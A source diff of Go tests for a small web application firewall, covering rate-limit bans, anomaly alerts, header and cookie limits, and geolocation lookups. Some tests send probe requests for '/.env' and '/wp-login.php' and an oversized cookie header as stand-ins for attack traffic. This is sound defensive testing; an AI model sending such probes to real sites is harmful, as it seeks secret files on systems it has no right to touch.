attackAlert(alerts.EventPermanentBan, start.Add(time.Minute), client, attackAlert(alerts.EventPermanentBan, start.Add(time.Minute), client,
permanentBan, "permanent"), permanentBan, "permanent"),
attackAlert( attackAlert(alerts.EventBan, start.Add(time.Minute), otherClient, otherBans[0],
alerts.EventBan, requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour))),
start.Add(time.Minute), attackAlert(alerts.EventPermanentBan, start.Add(time.Minute+7*24*time.Hour),
otherClient, otherClient, otherBans[1], "permanent"),
otherBans[0],
requestlog.FormatTime(start.Add(time.Minute+7*24*time.Hour)),
),
attackAlert(
alerts.EventPermanentBan,
start.Add(time.Minute+7*24*time.Hour),
otherClient,
otherBans[1],
"permanent",
),
) )
} }
@@ -128,11 +108,7 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
// A ban for a clear sign of attack, which a request under it would make // A ban for a clear sign of attack, which a request under it would make
// permanent. // permanent.
group := netip.MustParsePrefix(ipv6Group) group := netip.MustParsePrefix(ipv6Group)
attackBan, _ := server.Ledger.BanForAttack( attackBan, _ := server.Ledger.BanForAttack(group, start, bans.Notes{RuleID: "probe"})
group,
start,
bans.Notes{RuleID: "probe"},
)
// The third request breaks the limit, and so does the fourth, within the // The third request breaks the limit, and so does the fourth, within the
// cooldown, which raises nothing. The probe is a clear sign of attack. // cooldown, which raises nothing. The probe is a clear sign of attack.
@@ -147,12 +123,8 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
held := server.Ledger.Snapshot() held := server.Ledger.Snapshot()
if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) || if len(held) != 1 || !reflect.DeepEqual(held[0], attackBan) ||
line.BanExpires != requestlog.FormatTime(attackBan.Expires) { line.BanExpires != requestlog.FormatTime(attackBan.Expires) {
t.Errorf( t.Errorf("the ledger holds %+v, and the log line gives %s, want the ban "+
"the ledger holds %+v, and the log line gives %s, want the ban "+ "for the attack alone, as it was", held, line.BanExpires)
"for the attack alone, as it was",
held,
line.BanExpires,
)
} }
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
@@ -166,35 +138,21 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
if limitNotes.Limit != 2 || limitNotes.Request.Path != "/" || if limitNotes.Limit != 2 || limitNotes.Request.Path != "/" ||
attackNotes.Request.Path != "/.env" { attackNotes.Request.Path != "/.env" {
t.Errorf( t.Errorf("the notes are %+v and %+v, want those of the broken limit and "+
"the notes are %+v and %+v, want those of the broken limit and "+ "of the probe", limitNotes, attackNotes)
"of the probe",
limitNotes,
attackNotes,
)
} }
// Each alert is the one enforce mode would have raised, with mode // Each alert is the one enforce mode would have raised, with mode
// observe in its detail. // observe in its detail.
want := []alerts.Alert{ want := []alerts.Alert{
banAlert(alerts.EventBan, start, client, bans.Ban{ banAlert(alerts.EventBan, start, client, bans.Ban{
Netblock: netip.MustParsePrefix( Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
client + "/32",
), Cause: bans.CauseLimit,
Reason: "requests per minute over the limit of 2", Notes: limitNotes, Reason: "requests per minute over the limit of 2", Notes: limitNotes,
}, requestlog.FormatTime(start.Add(time.Hour))), }, requestlog.FormatTime(start.Add(time.Hour))),
attackAlert(alerts.EventBan, start, otherClient, bans.Ban{ attackAlert(alerts.EventBan, start, otherClient, bans.Ban{
Netblock: netip.MustParsePrefix( Netblock: netip.MustParsePrefix(otherClient + "/32"), Notes: attackNotes,
otherClient + "/32",
), Notes: attackNotes,
}, requestlog.FormatTime(start.Add(7*24*time.Hour))), }, requestlog.FormatTime(start.Add(7*24*time.Hour))),
attackAlert( attackAlert(alerts.EventPermanentBan, start, ipv6Client, attackBan, permanent),
alerts.EventPermanentBan,
start,
ipv6Client,
attackBan,
permanent,
),
} }
for _, alert := range want { for _, alert := range want {
alert.Detail["mode"] = observe alert.Detail["mode"] = observe
@@ -222,12 +180,7 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
// The other client's first probe raises the second. Its second probe is // The other client's first probe raises the second. Its second probe is
// within the cooldown. // within the cooldown.
for range 2 { for range 2 {
s.request( s.request(otherClient, "/.env", http.StatusOK, requestlog.ActionForward)
otherClient,
"/.env",
http.StatusOK,
requestlog.ActionForward,
)
} }
// The IPv6 client's third request breaks the limit past the two alerts // The IPv6 client's third request breaks the limit past the two alerts
@@ -250,20 +203,16 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
// never sent them, and returns the queue they wait in as well. // never sent them, and returns the queue they wait in as well.
func startWithAlerts( func startWithAlerts(
t *testing.T, env map[string]string, t *testing.T, env map[string]string,
) (*sender, *clock, *waf.Server, *alerts.Queue) { ) (*sender, *clock, *discriminator.Server, *alerts.Queue) {
t.Helper() t.Helper()
return startAppWithAlerts( return startAppWithAlerts(t, func(http.ResponseWriter, *http.Request) {}, env)
t,
func(http.ResponseWriter, *http.Request) {},
env,
)
} }
// startAppWithAlerts is startWithAlerts in front of the app handler. // startAppWithAlerts is startWithAlerts in front of the app handler.
func startAppWithAlerts( func startAppWithAlerts(
t *testing.T, handler http.HandlerFunc, env map[string]string, t *testing.T, handler http.HandlerFunc, env map[string]string,
) (*sender, *clock, *waf.Server, *alerts.Queue) { ) (*sender, *clock, *discriminator.Server, *alerts.Queue) {
t.Helper() t.Helper()
app := startApp(t, handler) app := startApp(t, handler)
@@ -275,15 +224,9 @@ func startAppWithAlerts(
} }
maps.Copy(settings, env) maps.Copy(settings, env)
addr, out, server, queue := startProxyWithAlerts( addr, out, server, queue := startProxyWithAlerts(t, app.URL, "", clk.Now, settings)
t,
app.URL,
"",
clk.Now,
settings,
)
s := &sender{t: t, addr: addr, wafAddr: server.Addr, out: out} s := &sender{t: t, addr: addr, discriminatorAddr: server.Addr, out: out}
return s, clk, server, queue return s, clk, server, queue
} }
@@ -292,11 +235,7 @@ func startAppWithAlerts(
// the time raised, for ban, with its netblock, cause, reason and notes, // the time raised, for ban, with its netblock, cause, reason and notes,
// which ends at expires, as the log line gives it. // which ends at expires, as the log line gives it.
func banAlert( func banAlert(
event string, event string, raised time.Time, client string, ban bans.Ban, expires string,
raised time.Time,
client string,
ban bans.Ban,
expires string,
) alerts.Alert { ) alerts.Alert {
return alerts.Alert{ return alerts.Alert{
Instance: alertInstance, Instance: alertInstance,
@@ -315,11 +254,7 @@ func banAlert(
// attackAlert is banAlert for a ban for the probe rule of testRules, with // attackAlert is banAlert for a ban for the probe rule of testRules, with
// the netblock and the notes of ban. // the netblock and the notes of ban.
func attackAlert( func attackAlert(
event string, event string, raised time.Time, client string, ban bans.Ban, expires string,
raised time.Time,
client string,
ban bans.Ban,
expires string,
) alerts.Alert { ) alerts.Alert {
return banAlert(event, raised, client, bans.Ban{ return banAlert(event, raised, client, bans.Ban{
Netblock: ban.Netblock, Cause: bans.CauseAttack, Reason: "matched the rule probe", Netblock: ban.Netblock, Cause: bans.CauseAttack, Reason: "matched the rule probe",
@@ -1,4 +1,4 @@
package waf package discriminator
import ( import (
"net/netip" "net/netip"
@@ -24,10 +24,7 @@ func TestWithEveryAnomalyThresholdOffARequestIsNotCounted(t *testing.T) {
defer func() { defer func() {
if r := recover(); r != nil { if r := recover(); r != nil {
t.Errorf( t.Errorf("counting the request did work, with every threshold off: %v", r)
"counting the request did work, with every threshold off: %v",
r,
)
} }
}() }()
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"maps" "maps"
@@ -13,9 +13,9 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/anomaly" "sneak.berlin/go/smallwebwaf/internal/anomaly"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
// The anomaly thresholds: the prefix of a scope followed by the end of a // The anomaly thresholds: the prefix of a scope followed by the end of a
@@ -51,9 +51,7 @@ const (
hour = "hour" hour = "hour"
) )
func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown( func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, scope := range []struct { for _, scope := range []struct {
@@ -97,8 +95,9 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(
t.Run(setting, func(t *testing.T) { t.Run(setting, func(t *testing.T) {
t.Parallel() t.Parallel()
env := map[string]string{setting: value, watchNets: office} s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
s, clk, server, queue := startWithLookupsAndClock(t, env) setting: value, watchNets: office,
})
start := clk.Now() start := clk.Now()
// The third upload takes the count over the threshold, and the // The third upload takes the count over the threshold, and the
@@ -157,10 +156,7 @@ func wantAlertedAgainOnceTheCooldownHasRunOut(
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 2 || !waiting[1].Time.Equal(clk.Now()) || if len(waiting) != 2 || !waiting[1].Time.Equal(clk.Now()) ||
waiting[1].SuppressedRepeats != 1 { waiting[1].SuppressedRepeats != 1 {
t.Errorf( t.Errorf("alerts wait %+v, want the first and another, with 1 repeat", waiting)
"alerts wait %+v, want the first and another, with 1 repeat",
waiting,
)
} }
} }
@@ -205,10 +201,7 @@ func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
got = append(got, alert.Client.String()) got = append(got, alert.Client.String())
} }
if want := []string{allowed, exempt, client, denied}; !slices.Equal( if want := []string{allowed, exempt, client, denied}; !slices.Equal(got, want) {
got,
want,
) {
t.Errorf("alerts for the clients %v, want %v", got, want) t.Errorf("alerts for the clients %v, want %v", got, want)
} }
} }
@@ -217,10 +210,7 @@ func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
t.Parallel() t.Parallel()
// With every threshold off, nothing is counted. // With every threshold off, nothing is counted.
s, server, queue := startWithLookups( s, server, queue := startWithLookups(t, map[string]string{watchNets: office})
t,
map[string]string{watchNets: office},
)
for range 5 { for range 5 {
s.uploadFrom(client) s.uploadFrom(client)
@@ -316,10 +306,7 @@ func TestClientIsCountedForItsASNumberOnceTheLookupGivesOne(t *testing.T) {
got[counter.ASN] = counter.Minute.Current got[counter.ASN] = counter.Minute.Current
} }
if want := map[string]int64{asnDE: 2, asnKP: 1, "AS64500": 1}; !maps.Equal( if want := map[string]int64{asnDE: 2, asnKP: 1, "AS64500": 1}; !maps.Equal(got, want) {
got,
want,
) {
t.Errorf("requests by AS number %v, want %v", got, want) t.Errorf("requests by AS number %v, want %v", got, want)
} }
} }
@@ -332,14 +319,12 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
// kept. // kept.
geojsURL, _, release := startHeldGeoJS(t) geojsURL, _, release := startHeldGeoJS(t)
var server atomic.Pointer[waf.Server] var server atomic.Pointer[discriminator.Server]
app := startApp(t, func(http.ResponseWriter, *http.Request) { app := startApp(t, func(http.ResponseWriter, *http.Request) {
release() release()
waitUntil(func() bool { waitUntil(func() bool {
_, kept := server.Load().GeoJS.Kept( _, kept := server.Load().GeoJS.Kept(netip.MustParsePrefix(fromDE + "/32"))
netip.MustParsePrefix(fromDE + "/32"),
)
return kept return kept
}) })
@@ -357,10 +342,7 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
// number it gives. // number it gives.
s := &sender{t: t, addr: addr, out: out} s := &sender{t: t, addr: addr, out: out}
if line := s.get(fromDE, http.StatusOK, requestlog.ActionForward); line.ASN != "" { if line := s.get(fromDE, http.StatusOK, requestlog.ActionForward); line.ASN != "" {
t.Errorf( t.Errorf("log line has AS number %q, want none: the request waited", line.ASN)
"log line has AS number %q, want none: the request waited",
line.ASN,
)
} }
want := []anomaly.Counter{{ want := []anomaly.Counter{{
@@ -375,15 +357,10 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) { func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
t.Parallel() t.Parallel()
s, _, server, _ := startAppWithAlerts( s, _, server, _ := startAppWithAlerts(t, readAndAnswer, map[string]string{
t,
readAndAnswer,
map[string]string{
anomalyWatch + requestsPerMinute: aLot, anomalyWatch + requestsPerMinute: aLot,
watchNets: office + ",wide=203.0.0.0/16" + watchNets: office + ",wide=203.0.0.0/16,other=198.51.100.0/25",
",other=198.51.100.0/25", })
},
)
// client is in office and in wide. // client is in office and in wide.
for _, from := range []string{client, "203.0.200.1", "192.0.2.7"} { for _, from := range []string{client, "203.0.200.1", "192.0.2.7"} {
@@ -395,10 +372,7 @@ func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
got[counter.Name] = counter.Minute.Current got[counter.Name] = counter.Minute.Current
} }
if want := map[string]int64{"office": 1, "wide": 2}; !maps.Equal( if want := map[string]int64{"office": 1, "wide": 2}; !maps.Equal(got, want) {
got,
want,
) {
t.Errorf("requests by named netblock %v, want %v", got, want) t.Errorf("requests by named netblock %v, want %v", got, want)
} }
} }
+578
View File
@@ -0,0 +1,578 @@
package discriminator_test
import (
"fmt"
"maps"
"net"
"net/http"
"net/http/httptest"
"net/netip"
"slices"
"strconv"
"strings"
"testing"
"testing/synctest"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/lookup"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
const (
// answerTimeLimit is the default of rproxy's SWRP_TIMEOUT_MS, the time
// discriminator has to answer.
answerTimeLimit = 2 * time.Second
// defaultLookupWait is the default of SWW_LOOKUP_TIMEOUT.
defaultLookupWait = 800 * time.Millisecond
// The header limits SPEC.md gives.
cookieLimit = 50
headerFieldLimit = 100
// cookieHeader is the header the cookie limit counts.
cookieHeader = "Cookie"
// tooLarge is how discriminator refuses a request over the header limits.
tooLarge = http.StatusRequestHeaderFieldsTooLarge
// silentAbuseIPDBURL is where AbuseIPDB never answers: at the stand-in
// that silentGeoJSURL names too.
silentAbuseIPDBURL = "silent://abuseipdb/api/v2/check"
// wholeLimit is the percentage of a rate limit that lowers it not at all.
wholeLimit = 100
// clientsDecision is the CrowdSec decision list holding client alone.
clientsDecision = `[{"duration": "4h0m0s", "scenario": "crowdsecurity/ssh-bf", ` +
`"scope": "Ip", "type": "ban", "value": "` + client + `"}]`
)
// cookies returns a Cookie header's value with count cookies.
func cookies(count int) string {
parts := make([]string, 0, count)
for i := range count {
parts = append(parts, "c"+strconv.Itoa(i)+"=1")
}
return strings.Join(parts, "; ")
}
// fillHeaders adds headers to a question until the checks see total header
// fields: all but ClientHeader and PeerHeader, which discriminator removes. Go's
// client sends nothing else but Host, which the limit does not count, once
// User-Agent is set.
func fillHeaders(req *http.Request, total int) {
req.Header.Set("User-Agent", "test")
for i := len(req.Header) - 2; i < total; i++ {
req.Header.Set("X-Filler-"+strconv.Itoa(i), "1")
}
}
func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem(t *testing.T) {
t.Parallel()
s := startDiscriminator(t, "", map[string]string{wafMode: block})
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
got := do(t, req)
wantDisposition(t, got, tooLarge, discriminator.DispositionDeny)
line := s.out.requestLine(t)
wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
if line.DurationCoreRuleSetMS != nil {
t.Errorf("the Core Rule Set read the request, for %f ms", *line.DurationCoreRuleSetMS)
}
}
func TestHeaderLimitRefusalNamesItsHeuristicCountsAndLimits(t *testing.T) {
t.Parallel()
s := startDiscriminator(t, "", nil)
req := s.question(siteA, client, "/")
fillHeaders(req, headerFieldLimit+1)
do(t, req)
wantHeuristic(t, s.out.requestLine(t), "header_limits",
`{"fields": 101, "fields_limit": 100, "cookies": 0, "cookies_limit": 50}`)
}
func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
t.Parallel()
repeated := make([]string, headerFieldLimit)
for i := range repeated {
repeated[i] = "1"
}
for _, tc := range []struct {
name string
make func(*http.Request)
// refused is true for a request over a limit, and false for one at it.
refused bool
}{
{"cookies at the limit", func(req *http.Request) {
req.Header.Set(cookieHeader, cookies(cookieLimit))
}, false},
{"cookies over the limit", func(req *http.Request) {
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
}, true},
{"parts empty or only spaces and tabs are no cookies", func(req *http.Request) {
req.Header.Set(cookieHeader, cookies(cookieLimit)+"; \t;;")
}, false},
{"parts of no-break spaces count", func(req *http.Request) {
req.Header.Set(cookieHeader, strings.Repeat(" ;", cookieLimit+1))
}, true},
{"cookies over the limit across two headers", func(req *http.Request) {
req.Header[cookieHeader] = []string{cookies(cookieLimit), "last=1"}
}, true},
{"cookies without a value count", func(req *http.Request) {
req.Header.Set(cookieHeader, strings.Repeat("a;", cookieLimit+1))
}, true},
{"header fields at the limit", func(req *http.Request) {
fillHeaders(req, headerFieldLimit)
}, false},
{"header fields over the limit", func(req *http.Request) {
fillHeaders(req, headerFieldLimit+1)
}, true},
{"a header sent many times counts each time", func(req *http.Request) {
req.Header["X-Filler"] = repeated
}, true},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s := startDiscriminator(t, "", map[string]string{wafMode: block})
req := s.question(siteA, client, "/")
tc.make(req)
got := do(t, req)
line := s.out.requestLine(t)
if tc.refused {
wantDisposition(t, got, tooLarge, discriminator.DispositionDeny)
wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
return
}
wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
wantLine(t, line, http.StatusOK, requestlog.ActionForward)
if line.DurationCoreRuleSetMS == nil {
t.Error("the Core Rule Set did not read a request within the limits")
}
})
}
}
func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
t.Parallel()
for _, env := range []map[string]string{
{wafMode: off},
{wafMode: "detect"},
{wafMode: block, "SWW_WAF_EXEMPT_PATHS": "/"},
} {
t.Run(fmt.Sprint(env), func(t *testing.T) {
t.Parallel()
s := startDiscriminator(t, "", env)
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, do(t, req), tooLarge, discriminator.DispositionDeny)
})
}
}
func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
t.Parallel()
s := startDiscriminator(t, "", map[string]string{wafMode: block, allowNets: client})
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, do(t, req), http.StatusOK, discriminator.DispositionAllow)
}
func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
t.Parallel()
s := startDiscriminator(t, "", map[string]string{mode: observe, wafMode: block})
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
got := do(t, req)
wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
line := s.out.requestLine(t)
if line.WouldAction != requestlog.ActionRequestHeaderTooLarge ||
line.DurationCoreRuleSetMS != nil {
t.Errorf("would_action %q and duration_core_rule_set_ms %v, want %q and none",
line.WouldAction, line.DurationCoreRuleSetMS, requestlog.ActionRequestHeaderTooLarge)
}
}
func TestRequestsOverTheHeaderLimitsCountTowardTheRateLimits(t *testing.T) {
t.Parallel()
s := startDiscriminator(t, "", map[string]string{rateLimitPerMinute: "1"})
ask := func() answer {
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
return do(t, req)
}
wantDisposition(t, ask(), tooLarge, discriminator.DispositionDeny)
wantDisposition(t, ask(), http.StatusForbidden, discriminator.DispositionDeny)
lines := s.out.requestLines(t, 2)
wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionClientIsRateLimited)
}
func TestTheHeaderLimitsComeAfterTheTrapPathsAndTheRuleFiles(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name, path, action string
}{
{"a trap path", "/wp-login.php", requestlog.ActionTemporarilyBanned},
{"a block rule", "/blocked", requestlog.ActionBlockedByBlockRule},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s := startDiscriminator(t, "", map[string]string{
trapPaths: trapPathList, rulesDir: writeRules(t, testRules),
})
req := s.question(siteA, client, tc.path)
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, do(t, req), http.StatusForbidden, discriminator.DispositionDeny)
wantLine(t, s.out.requestLine(t), http.StatusForbidden, tc.action)
})
}
}
func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
s := startDiscriminator(t, geojsURL, map[string]string{
unknownLimitPercent: "0", lookupTimeout: "1h",
})
req := s.question(siteA, fromDE, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, do(t, req), tooLarge, discriminator.DispositionDeny)
line := s.out.requestLine(t)
wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
if line.RateLimitPercent != nil {
t.Errorf("limit percentage %d, want none", *line.RateLimitPercent)
}
// The client is under no ban, and GeoJS places it in a country.
wantDisposition(t, s.ask(fromDE, "/"), http.StatusOK, discriminator.DispositionAllow)
}
func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
s := startDiscriminator(t, geojsURL, map[string]string{unknownLimitPercent: "0"})
s.server.GeoJS.Load([]lookup.Answer{{
Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512",
Answered: s.clock.Now(), Used: s.clock.Now(),
}})
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, do(t, req), http.StatusForbidden, discriminator.DispositionDeny)
wantLine(t, s.out.requestLine(t), http.StatusForbidden,
requestlog.ActionClientIsRateLimited)
}
func TestObserveModeWaitsForGeoJSForARequestOverTheHeaderLimits(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
s := startDiscriminator(t, geojsURL, map[string]string{
mode: observe, addLookupHeaders: on, lookupTimeout: "1h",
})
req := s.question(siteA, fromDE, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
got := do(t, req)
wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
asn, country := got.header.Get("X-Client-Asn"), got.header.Get("X-Client-Country")
if asn != asnDE || country != "DE" {
t.Errorf("answered with the AS number %q and the country %q, want %q and DE",
asn, country, asnDE)
}
}
// newDiscriminatorInBubble makes a discriminator for a synctest bubble: GeoJS never
// answers, a setting needs its answer, and everything is at its default but
// for env. No request to it may use the network.
func newDiscriminatorInBubble(
t *testing.T, env map[string]string,
) (*discriminator.Server, *output) {
t.Helper()
settings := map[string]string{tagDeny: "country=KP"}
maps.Copy(settings, env)
server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now, settings)
return server, out
}
// askDirectly hands a question about a request from client straight to server,
// as change leaves it, and returns the answer's status and how long it took.
func askDirectly(
t *testing.T, server *discriminator.Server, change func(*http.Request),
) (int, time.Duration) {
t.Helper()
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
req.RemoteAddr = net.JoinHostPort(rproxyPeer, "1234")
req.Header.Set(discriminator.ClientHeader, client)
req.Header.Set(requestIDHeader, "the-id")
change(req)
recorder := httptest.NewRecorder()
began := time.Now()
server.Handler.ServeHTTP(recorder, req)
return recorder.Code, time.Since(began)
}
// banClient bans client at now.
func banClient(_ *testing.T, server *discriminator.Server, now time.Time) {
server.Ledger.BanForLimit(netip.MustParsePrefix(client+"/32"), now, bans.Notes{})
}
// countClient counts one request from client at now for the rate limits.
func countClient(_ *testing.T, server *discriminator.Server, now time.Time) {
server.Limiter.Count(netip.MustParsePrefix(client+"/32"), now, wholeLimit)
}
// listClient puts client on the blocklist at dropURL.
func listClient(t *testing.T, server *discriminator.Server, now time.Time) {
t.Helper()
err := server.Lists.Load([]reputation.List{{
URL: dropURL, Tried: now, Fetched: now, Lines: []string{client},
}})
if err != nil {
t.Fatalf("load the blocklist: %v", err)
}
}
// decideOnClient puts client on the CrowdSec decision list.
func decideOnClient(t *testing.T, server *discriminator.Server, now time.Time) {
t.Helper()
loadDecisions(t, server, now, clientsDecision)
}
// leaveAsItIs prepares nothing.
func leaveAsItIs(*testing.T, *discriminator.Server, time.Time) {}
func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
t.Parallel()
const forbidden = http.StatusForbidden
for _, tc := range []struct {
name string
env map[string]string
// prepare gets the server ready, at now, before the question.
prepare func(t *testing.T, server *discriminator.Server, now time.Time)
// cookie is the request's Cookie header.
cookie string
status int
action string
}{
{
name: "SWW_DENY_NETS", env: map[string]string{denyNets: client},
prepare: leaveAsItIs, status: forbidden, action: requestlog.ActionClientDenied,
},
{
name: "a ban",
prepare: banClient, status: forbidden, action: requestlog.ActionTemporarilyBanned,
},
{
name: "the rate limits", env: map[string]string{rateLimitPerMinute: "1"},
prepare: countClient, status: forbidden,
action: requestlog.ActionClientIsRateLimited,
},
{
name: "the rate limits, with a biased threshold",
env: map[string]string{rateLimitPerMinute: "1", unknownLimitPercent: "50"},
prepare: countClient, status: forbidden,
action: requestlog.ActionClientIsRateLimited,
},
{
name: "a blocklist", env: map[string]string{blocklistURLs: dropURL},
prepare: listClient, status: forbidden, action: requestlog.ActionClientDenied,
},
{
name: "the CrowdSec decision list",
env: map[string]string{crowdSecURL: lapi, crowdSecKey: bouncerKey},
prepare: decideOnClient, status: forbidden,
action: requestlog.ActionTemporarilyBanned,
},
{
name: "the header limits", cookie: cookies(cookieLimit + 1),
prepare: leaveAsItIs, status: tooLarge,
action: requestlog.ActionRequestHeaderTooLarge,
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// says, so that a request that does not wait takes no time at all.
synctest.Test(t, func(t *testing.T) {
server, out := newDiscriminatorInBubble(t, tc.env)
tc.prepare(t, server, time.Now())
status, took := askDirectly(t, server, func(req *http.Request) {
req.Header.Set(cookieHeader, tc.cookie)
})
if status != tc.status || took != 0 {
t.Errorf("answered %d after %s, want %d at once; output:\n%s",
status, took, tc.status, out.text())
}
wantLine(t, out.requestLine(t), tc.status, tc.action)
// GeoJS's request is abandoned before the bubble ends.
time.Sleep(defaultLookupWait)
})
})
}
}
func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
env map[string]string
// prepare gets the server ready, at now, before the question.
prepare func(t *testing.T, server *discriminator.Server, now time.Time)
status int
action string
}{
{"nothing refuses it", nil, leaveAsItIs, http.StatusOK, requestlog.ActionForward},
{
"a country list needs the answer", map[string]string{allowedCountries: "DE"},
leaveAsItIs, http.StatusForbidden, requestlog.ActionCountryDenied,
},
{
"a blocklist that only logs",
map[string]string{blocklistURLs: dropURL, blocklistAction: actionLog},
listClient, http.StatusOK, requestlog.ActionForward,
},
{
"a blocklist that only limits",
map[string]string{blocklistURLs: dropURL, blocklistAction: limitQuarter},
listClient, http.StatusOK, requestlog.ActionForward,
},
{
"over a rate limit on an exempt path",
map[string]string{rateLimitPerMinute: "1", rateLimitExemptPaths: "/"},
countClient, http.StatusOK, requestlog.ActionForward,
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
server, out := newDiscriminatorInBubble(t, tc.env)
tc.prepare(t, server, time.Now())
status, took := askDirectly(t, server, func(*http.Request) {})
if status != tc.status || took != defaultLookupWait {
t.Errorf("answered %d after %s, want %d after %s; output:\n%s",
status, took, tc.status, defaultLookupWait, out.text())
}
wantLine(t, out.requestLine(t), tc.status, tc.action)
})
})
}
}
func TestDiscriminatorAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
t *testing.T,
) {
t.Parallel()
held, askedGeoJS, _ := startHeldGeoJS(t)
// A resolver that takes every query and answers none.
resolver, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", localhost+":0")
if err != nil {
t.Fatalf("listen: %v", err)
}
t.Cleanup(func() { _ = resolver.Close() })
server, out, _ := newDiscriminatorWith(t, func(
params discriminator.Params,
) *discriminator.Server {
params.AbuseIPDBURL = silentAbuseIPDBURL
return discriminator.New(params)
}, held, time.Now, map[string]string{
tagDeny: "country=KP", wafMode: block,
dnsblZones: dnsblZone, dnsblResolver: resolver.LocalAddr().String(),
abuseIPDBKey: accountKey,
blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt",
crowdSecURL: held, crowdSecKey: bouncerKey,
})
// AbuseIPDB is asked only about a client with an offence.
group := netip.MustParsePrefix(client + "/32")
server.Limiter.AddToHistory(group, time.Now(), ratelimit.Request{Attack: true})
go server.Lists.Run(t.Context())
status, took := askDirectly(t, server, func(req *http.Request) {
req.Header.Set("User-Agent", "test")
req.Header.Set("Accept", "*/*")
req.Host = siteA
})
if status != http.StatusOK || took >= answerTimeLimit {
t.Errorf("answered %d after %s, want %d within %s; output:\n%s",
